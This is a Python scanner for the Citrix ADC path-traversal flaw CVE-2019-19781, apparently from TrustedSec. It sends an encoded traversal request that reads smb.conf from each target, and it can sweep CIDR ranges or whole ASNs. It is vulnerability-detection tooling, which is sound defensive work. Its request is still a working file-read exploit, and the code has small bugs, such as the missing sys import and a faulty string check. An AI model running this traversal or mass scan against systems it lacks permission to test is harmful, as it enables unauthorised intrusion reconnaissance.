#!/usr/bin/env python3
#
# Single check to see if the server is still vulnerable to CVE-2019-19781
# Written by: Dave Kennedy
# Company: TrustedSec
#
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings
import argparse
from netaddr import IPNetwork
import threading
import time
import subprocess

def asn_to_ip(asn):
    # use ASN listings to enumerate whois information for scanning.
    cidr_list = []
    command = 'whois -h whois.radb.net -- \'-i origin %s\' | grep -Eo "([0-9.]+){4}/[0-9]+" | head' % (asn)
    asn_convert = subprocess.Popen([command], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stderr_read = asn_convert.stderr.read().decode('utf-8')
    asn_convert = asn_convert.stdout.read().decode('utf-8').splitlines()

    # if we don't have whois installed
    if "whois: not found" in stderr_read:
        print("[-] In order for ASN looks to work you must have whois installed. Type apt-get install whois as an example on Debian/Ubuntu.")
        sys.exit()
    # iterate through cidr ranges and append them to list to be scanned
    for cidr in asn_convert:
        cidr_list.append(cidr)
    return cidr_list


# we need to do this hack job due to sanitization of urls in the latest version of urllib3
# special thanks to rxwx for the fix
def submit_url(url):
    with requests.Session() as s:
        r = requests.Request(method='GET', url=url)
        prep = r.prepare()
        prep.url = url
        return s.send(prep, verify=False, timeout=2)

# our main function for testing the vulnerability
def check_server(target, targetport, verbose):
    try:
        print("Scanning for CVE-2019-19781 on: %s        " % target) # Cleaning up output a little
        # if for some ungodly reason they are using HTTP
        if targetport == "80":
            url = ("http://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport))
            req = submit_url(url)

        # for all other requests use HTTPS
        else:
            url = ("https://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport))
            req = submit_url(url)

        # if the system is still vulnerable
        if ("[global]") and ("encrypt passwords") and("name resolve order") in str(req.content): # each smb.conf will contain a [global] variable
            print("[\033[91m!\033[0m] This Citrix ADC Server: %s is still vulnerable to CVE-2019-19781." % (target))
            vulnServers.append(target)
            return 1

        # if the system responds with a Citrix message (fixed) or a 403 (fixed)
        elif ("Citrix") in str(req.content) or "403" in str(req.status_code): # only seen if system is not vulnerable
            print("[\033[92m*\033[0m] CITRIX Server found, However the server %s is not vulnerable. Awesome!" % (target))

        # if we run into something other than Citrix
        else:
            if verbose == True: print("[-] Server %s does not appear to be a Citrix server." % (target))
            pass

    # handle exception errors due to timeouts
    except requests.ReadTimeout:
        if verbose == True: print("[-] ReadTimeout: Server %s timed out and didn't respond on port: %s." % (target, targetport))
        pass

    except requests.ConnectTimeout:
        if verbose == True: print("[-] ConnectTimeout: Server %s did not respond to a web request or the port (%s) is not open." % (target, targetport))
        pass

    except requests.ConnectionError:
        if verbose == True: print("[-] ConnectionError: Server %s did not respond to a web request or the port (%s) is not open." % (target,targetport))
        pass

print("""
   _______      ________    ___   ___  __  ___        __  ___ ______ ___  __
  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \      /_ |/ _ \____  / _ \/_ |
 | |     \ \  / /| |__ ______ ) | | | || | (_) |______| | (_) |  / / (_) || |
 | |      \ \/ / |  __|______/ /| | | || |\__, |______| |\__, | / / > _ < | |
 | |____   \  /  | |____    / /_| |_| || |  / /       | |  / / / / | (_) || |
  \_____|   \/   |______|  |____|\___/ |_| /_/        |_| /_/ /_/   \___/ |_|

CVE-2019-19781-Scanner
Company: TrustedSec
Written by: Dave Kennedy
This will look to see if the remote system is still vulnerable to CVE-2019-19781. This
will only scan one host at a time.
You can use CIDR notations as well for example: 192.168.1.1/24
You can use hostnames instead of IP addresses also.
Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443
Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443
Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443
Example4: python3 cve-2019-19781_scanner.py as15169 443
Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose
Usage: python3 cve-2019-19781_scanner.py targetip targetport
""")

vulnServers = []
counter = 0

# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("verbose", nargs="?", help="print out verbose information")
args = parser.parse_args()

# if we specify a verbose flag
if args.verbose:
    verbose = True
else: verbose = False

try:
    if "as" in (args.target).lower():
        CIDR_Blocks = asn_to_ip(args.target)
        for ip_block in CIDR_Blocks:
            for ip in IPNetwork(ip_block):
                thread = threading.Thread(target=check_server, args=(ip,args.targetport,verbose))
                thread.start()
                time.sleep(0.05)
            # wait for the threads to complete
            thread.join()

    # if we are iterating through IP addresses to scan CIDR notations
    elif "/" in args.target:
        for ip in IPNetwork(args.target):
            counter = counter + 1
            thread = threading.Thread(target=check_server, args=(ip,args.targetport,verbose))
            thread.start()
            time.sleep(0.05)

        # wait for the threads to complete
        thread.join()

    # if we are just using 1 IP address
    else:
        counter = counter + 1
        check_server(args.target, args.targetport,verbose)

    # do a report on vuln servers
    print("Finished testing %s servers: Found %s to be vulnerable. Below is a list system(s) identified:" % (counter, len(vulnServers)))
    print("-" * 45)
    for server in vulnServers:
        print(server)

except KeyboardInterrupt:
    print("[!] interrupt received, stopping..")
    time.sleep(0.1)